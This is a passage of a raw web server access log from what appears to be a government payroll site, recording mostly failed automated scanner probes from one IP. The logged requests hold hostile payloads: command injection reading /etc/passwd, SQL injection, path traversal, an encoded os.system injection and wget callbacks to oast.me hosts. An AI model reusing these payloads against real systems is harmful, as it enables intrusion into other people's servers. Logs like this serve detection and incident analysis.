Gecko) Version/17.2.1 Safari/605.7.15" 45.207.211.133 - - [16/Oct/2024:08:33:23 -0700] "GET /_async/favicon.ico HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (CentOS; Linux i686; rv:120.0) Gecko/20100101 Firefox/120.0" 45.207.211.133 - - [16/Oct/2024:08:33:20 -0700] "POST / HTTP/1.1" 405 559173 "-" "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:08:34:48 -0700] "POST /node/1?_format=hal_json HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:78.0) Gecko/20100101 Firefox/78.0" 45.207.211.133 - - [16/Oct/2024:08:34:48 -0700] "GET / HTTP/1.1" 302 382 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_7_3; es) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.7 Safari/605.1.15" 45.207.211.133 - - [16/Oct/2024:08:34:49 -0700] "GET /login HTTP/1.1" 200 4983 "https://npayroll.nicn.gov.ng" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_7_3; es) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.7 Safari/605.1.15" 45.207.211.133 - - [16/Oct/2024:08:34:49 -0700] "PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.7.19" 52.167.144.55 - - [16/Oct/2024:09:09:40 -0700] "GET /robots.txt HTTP/1.1" 200 24 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 52.167.144.235 - - [16/Oct/2024:09:09:44 -0700] "GET / HTTP/1.1" 302 382 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 52.167.144.235 - - [16/Oct/2024:09:09:56 -0700] "GET /login HTTP/1.1" 200 4983 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 52.167.144.235 - - [16/Oct/2024:09:10:36 -0700] "GET /assets/css/AdminLTE.min.css HTTP/1.1" 200 89579 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 52.167.144.235 - - [16/Oct/2024:09:10:36 -0700] "GET /assets/js/bootstrap.min.js HTTP/1.1" 200 36868 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 52.167.144.235 - - [16/Oct/2024:09:10:36 -0700] "GET /assets/css/select2.min.css HTTP/1.1" 200 15090 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 52.167.144.235 - - [16/Oct/2024:09:10:37 -0700] "GET /assets/js/jQuery-2.2.0.min.js HTTP/1.1" 200 85589 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 40.77.167.132 - - [16/Oct/2024:09:10:40 -0700] "GET /assets/css/bootstrap.min.css HTTP/1.1" 200 121260 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 157.55.39.48 - - [16/Oct/2024:09:10:43 -0700] "GET /assets/css/_all-skins.min.css HTTP/1.1" 200 42005 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 157.55.39.48 - - [16/Oct/2024:09:10:43 -0700] "GET /assets/css/admin.css HTTP/1.1" 200 185 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 157.55.39.48 - - [16/Oct/2024:09:10:43 -0700] "GET /assets/font-awesome/css/font-awesome.min.css HTTP/1.1" 200 21984 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 157.55.39.48 - - [16/Oct/2024:09:10:49 -0700] "GET /assets/js/app.min.js HTTP/1.1" 200 9694 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 157.55.39.48 - - [16/Oct/2024:09:10:50 -0700] "GET /assets/js/demo.js HTTP/1.1" 200 17268 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 157.55.39.48 - - [16/Oct/2024:09:10:50 -0700] "GET /assets/js/jquery.slimscroll.min.js HTTP/1.1" 200 6230 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 102.215.57.233 - - [16/Oct/2024:09:14:48 -0700] "GET / HTTP/1.1" 302 382 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 102.215.57.233 - - [16/Oct/2024:09:14:49 -0700] "GET /login HTTP/1.1" 200 4983 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 102.215.57.233 - - [16/Oct/2024:09:14:55 -0700] "POST /login HTTP/1.1" 302 358 "https://npayroll.nicn.gov.ng/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 102.215.57.233 - - [16/Oct/2024:09:14:56 -0700] "GET / HTTP/1.1" 200 36387 "https://npayroll.nicn.gov.ng/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 102.215.57.233 - - [16/Oct/2024:09:14:57 -0700] "GET /Images/new-market-research.gif HTTP/1.1" 200 54901 "https://npayroll.nicn.gov.ng/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 40.77.189.45 - - [16/Oct/2024:10:19:05 -0700] "GET /assets/font-awesome/fonts/fontawesome-webfont.woff?v=4.2.0 HTTP/1.1" 200 65452 "https://npayroll.nicn.gov.ng/assets/font-awesome/css/font-awesome.min.css" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/112.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:10:31:00 -0700] "PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:10:31:03 -0700] "GET / HTTP/1.1" 302 398 "-" "Mozilla/5.0 (Fedora; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0" 45.207.211.133 - - [16/Oct/2024:10:31:03 -0700] "POST /node/1?_format=hal_json HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0" 45.207.211.133 - - [16/Oct/2024:10:31:03 -0700] "GET /login HTTP/1.1" 200 5039 "https://www.npayroll.nicn.gov.ng" "Mozilla/5.0 (Fedora; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0" 45.207.211.133 - - [16/Oct/2024:10:31:04 -0700] "POST /adxmlrpc.php HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.7.23" 45.207.211.133 - - [16/Oct/2024:10:31:07 -0700] "GET /plugins/3rdPartyServers/ox3rdPartyServers/max.class.php?0=id HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" 45.207.211.133 - - [16/Oct/2024:10:39:07 -0700] "GET /objects/getImage.php?base64Url=YGlkID4gbGFiemEudHh0YA===&format=png HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.79" 45.207.211.133 - - [16/Oct/2024:10:39:07 -0700] "GET /objects/getImageMP4.php?base64Url=YGlkID4gbGFiemEudHh0YA===&format=jpg HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0" 45.207.211.133 - - [16/Oct/2024:10:39:08 -0700] "GET /objects/getSpiritsFromVideo.php?base64Url=YGlkID4gbGFiemEudHh0YA===&format=jpg HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (SS; Linux i686; rv:128.0) Gecko/20100101 Firefox/128.0" 45.207.211.133 - - [16/Oct/2024:10:39:09 -0700] "GET /objects/labza.txt HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:10:58:59 -0700] "POST /photo/p/api/album.php HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:109.0) Gecko/20100101 Firefox/115.0" 45.207.211.133 - - [16/Oct/2024:11:09:22 -0700] "POST /CDGServer3/ClientAjax HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:11:09:24 -0700] "POST /cgi-bin/supportInstaller HTTP/1.1" 404 6579 "-" "MSIE" 45.207.211.133 - - [16/Oct/2024:11:09:25 -0700] "POST /artifactory/ui/auth/login?_spring_security_remember_me=false HTTP/1.1" 404 6609 "https://npayroll.nicn.gov.ng/artifactory/webapp/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0" 45.207.211.133 - - [16/Oct/2024:11:09:25 -0700] "POST /v2/api/product/manger/getInfo HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.6.25" 45.207.211.133 - - [16/Oct/2024:11:09:25 -0700] "POST /api/timelion/run HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_8; en) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.2 Safari/605.1.15" 45.207.211.133 - - [16/Oct/2024:11:09:25 -0700] "POST /Autodiscover/Autodiscover.xml HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.7.19" 45.207.211.133 - - [16/Oct/2024:11:09:25 -0700] "GET /wp-content/plugins/chopslider/get_script/index.php?id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))A) HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (CentOS; Linux i686; rv:128.0) Gecko/20100101 Firefox/128.0" 45.207.211.133 - - [16/Oct/2024:11:09:25 -0700] "POST /mailingupgrade.php HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.8.17" 45.207.211.133 - - [16/Oct/2024:11:09:25 -0700] "GET /backupsettings.dat HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Kubuntu; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0" 45.207.211.133 - - [16/Oct/2024:11:09:26 -0700] "POST /mdm/client/v1/mdmLogUploader?udid=si%5C..%5C..%5C..%5Cwebapps%5CDesktopCentral%5C_chart&filename=logger.zip HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:11:09:27 -0700] "POST /service/extdirect HTTP/1.1" 404 6609 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.2.22" 45.207.211.133 - - [16/Oct/2024:11:09:33 -0700] "POST /search/ HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:11:09:33 -0700] "GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20kPuwueUGnE.txt%60 HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.7.24" 45.207.211.133 - - [16/Oct/2024:11:09:33 -0700] "POST /content/2nT3enpplo9DH8iyULYjwYhJgkO HTTP/1.1" 404 6579 "https://npayroll.nicn.gov.ng" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.6.16" 45.207.211.133 - - [16/Oct/2024:11:09:34 -0700] "POST /service/rapture/session HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.5.20" 45.207.211.133 - - [16/Oct/2024:11:09:35 -0700] "GET /kPuwueUGnE.txt HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:11:09:35 -0700] "POST /search/ HTTP/1.1" 301 243 "-" "Mozilla/5.0 (Debian; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0" 45.207.211.133 - - [16/Oct/2024:11:09:35 -0700] "POST /content/2nT3enpplo9DH8iyULYjwYhJgkO.af.internalsubmit.json HTTP/1.1" 404 6579 "https://npayroll.nicn.gov.ng" "Mozilla/5.0 (Knoppix; Linux i686; rv:125.0) Gecko/20100101 Firefox/125.0" 45.207.211.133 - - [16/Oct/2024:11:09:36 -0700] "POST /service/rest/beta/repositories/bower/group HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Knoppix; Linux i686; rv:122.0) Gecko/20100101 Firefox/122.0" 45.207.211.133 - - [16/Oct/2024:11:10:22 -0700] "GET /api/experimental/test HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12) AppleWebKit/616.19 (KHTML, like Gecko) Version/17.7.17 Safari/616.19" 45.207.211.133 - - [16/Oct/2024:11:10:23 -0700] "GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_8; en) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.2 Safari/605.1.15" 45.207.211.133 - - [16/Oct/2024:11:10:24 -0700] "POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0" 157.55.39.11 - - [16/Oct/2024:12:41:27 -0700] "GET / HTTP/1.1" 302 398 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 157.55.39.11 - - [16/Oct/2024:12:41:39 -0700] "GET /login HTTP/1.1" 200 5039 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 43.130.36.167 - - [16/Oct/2024:13:07:26 -0700] "GET /settings.php.bak HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3" 43.130.36.167 - - [16/Oct/2024:13:07:29 -0700] "GET /settings.php.dist HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 43.130.36.167 - - [16/Oct/2024:13:07:33 -0700] "GET /settings.php.old HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 43.130.36.167 - - [16/Oct/2024:13:07:37 -0700] "GET /settings.php.save HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" 43.130.36.167 - - [16/Oct/2024:13:07:40 -0700] "GET /settings.php.swp HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0" 43.130.36.167 - - [16/Oct/2024:13:07:44 -0700] "GET /settings.php.txt HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11) AppleWebKit/616.13.10 (KHTML, like Gecko) Version/17.2.97 Safari/616.13.10" 43.130.36.167 - - [16/Oct/2024:13:07:48 -0700] "GET /config/settings.old.php HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:13:16:01 -0700] "POST /cgi-bin/supportInstaller HTTP/1.1" 404 6579 "-" "MSIE" 45.207.211.133 - - [16/Oct/2024:13:16:01 -0700] "POST /artifactory/ui/auth/login?_spring_security_remember_me=false HTTP/1.1" 404 6609 "https://www.npayroll.nicn.gov.ng/artifactory/webapp/" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:13:16:01 -0700] "POST /api/timelion/run HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:13:16:02 -0700] "POST /CDGServer3/ClientAjax HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0" 45.207.211.133 - - [16/Oct/2024:13:16:02 -0700] "GET /backupsettings.dat HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15" 45.207.211.133 - - [16/Oct/2024:13:16:03 -0700] "GET /wp-content/plugins/chopslider/get_script/index.php?id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))A) HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.7.20" 45.207.211.133 - - [16/Oct/2024:13:16:03 -0700] "POST /mailingupgrade.php HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Fedora; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0" 45.207.211.133 - - [16/Oct/2024:13:16:03 -0700] "POST /Autodiscover/Autodiscover.xml HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:13:16:04 -0700] "POST /photo/p/api/album.php HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Knoppix; Linux i686; rv:122.0) Gecko/20100101 Firefox/122.0" 45.207.211.133 - - [16/Oct/2024:13:16:04 -0700] "POST /v2/api/product/manger/getInfo HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Kubuntu; Linux i686; rv:127.0) Gecko/20100101 Firefox/127.0" 45.207.211.133 - - [16/Oct/2024:13:16:04 -0700] "POST /mdm/client/v1/mdmLogUploader?udid=si%5C..%5C..%5C..%5Cwebapps%5CDesktopCentral%5C_chart&filename=logger.zip HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.6.20" 45.207.211.133 - - [16/Oct/2024:13:16:05 -0700] "POST /service/extdirect HTTP/1.1" 404 6609 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15" 45.207.211.133 - - [16/Oct/2024:13:16:08 -0700] "GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20kPuwueUGnE.txt%60 HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0" 45.207.211.133 - - [16/Oct/2024:13:16:09 -0700] "POST /content/2nT3enpplo9DH8iyULYjwYhJgkO HTTP/1.1" 404 6579 "https://www.npayroll.nicn.gov.ng" "Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:13:16:09 -0700] "POST /service/rapture/session HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6" 45.207.211.133 - - [16/Oct/2024:13:16:09 -0700] "GET /kPuwueUGnE.txt HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:13:16:09 -0700] "POST /search/ HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" 45.207.211.133 - - [16/Oct/2024:13:16:10 -0700] "POST /search/ HTTP/1.1" 301 247 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Safari/605.1.15" 45.207.211.133 - - [16/Oct/2024:13:16:10 -0700] "POST /service/rest/beta/repositories/bower/group HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 17_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 45.207.211.133 - - [16/Oct/2024:13:16:10 -0700] "POST /content/2nT3enpplo9DH8iyULYjwYhJgkO.af.internalsubmit.json HTTP/1.1" 404 6579 "https://www.npayroll.nicn.gov.ng" "Mozilla/5.0 (Ubuntu; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" 45.207.211.133 - - [16/Oct/2024:13:16:11 -0700] "GET /api/experimental/test HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15" 45.207.211.133 - - [16/Oct/2024:13:16:12 -0700] "GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:13:16:13 -0700] "POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.63" 45.207.211.133 - - [16/Oct/2024:13:18:43 -0700] "POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1" 404 6609 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.5.16" 45.207.211.133 - - [16/Oct/2024:13:18:46 -0700] "POST /cgi-bin/login.cgi HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:13:18:47 -0700] "GET / HTTP/1.1" 302 382 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:13:18:51 -0700] "POST /wp-admin/admin-ajax.php HTTP/1.1" 404 6609 "-" "Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:13:18:52 -0700] "GET /webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f20224d6d35554d3256705a577730546d567a64557431616b6872525670526233644c616c467922207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5 HTTP/1.1" 404 6579 "https://npayroll.nicn.gov.ng/webadmin/admin/service_manager_data.php" "Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:13:18:52 -0700] "GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/2nT3eg8Gflr8H49345JkczAXgwv.txt HTTP/1.1" 404 6579 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14) AppleWebKit/617.7 (KHTML, like Gecko) Version/17.3.74 Safari/617.7" 45.207.211.133 - - [16/Oct/2024:13:18:53 -0700] "GET /webadmin/out HTTP/1.1" 404 6579 "https://npayroll.nicn.gov.ng/webadmin/admin/service_manager_data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0" 45.207.211.133 - - [16/Oct/2024:13:22:45 -0700] "POST /module/ HTTP/1.1" 301 243 "https://npayroll.nicn.gov.ngadmin/view:modules/load_module:users" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1" 45.207.211.133 - - [16/Oct/2024:13:22:45 -0700] "POST /module/ HTTP/1.1" 301 243 "https://npayroll.nicn.gov.ngadmin/view:modules/load_module:users" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0" 45.207.211.133 - - [16/Oct/2024:13:22:45 -0700] "POST /module/ HTTP/1.1" 301 243 "https://npayroll.nicn.gov.ngadmin/view:modules/load_module:users" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36" 45.207.211.133 - - [16/Oct/2024:13:50:32 -0700] "GET /Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60/bin/wget+http://cs732uqldbsgkn5irrqgmimxffztykio4.oast.me%60&data%5B0%5D%5Bpath%5D=mypath&data%5B0%5D%5Btype%5D=mytype HTTP/1.1" 404 6579 "-" "-" 45.207.211.133 - - [16/Oct/2024:13:50:33 -0700] "GET /Collector/nms/addModifyZTDProxy?ztd_server=127.0.0.1&ztd_port=3333&ztd_username=user&ztd_password=$(/bin/wget$IFShttp://cs732uqldbsgkn5irrqgcddwpw34cydko.oast.me) HTTP/1.1" 404 6579 "-" "-" 45.207.211.133 - - [16/Oct/2024:15:52:22 -0700] "GET / HTTP/1.1" 302 398 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15" 45.207.211.133 - - 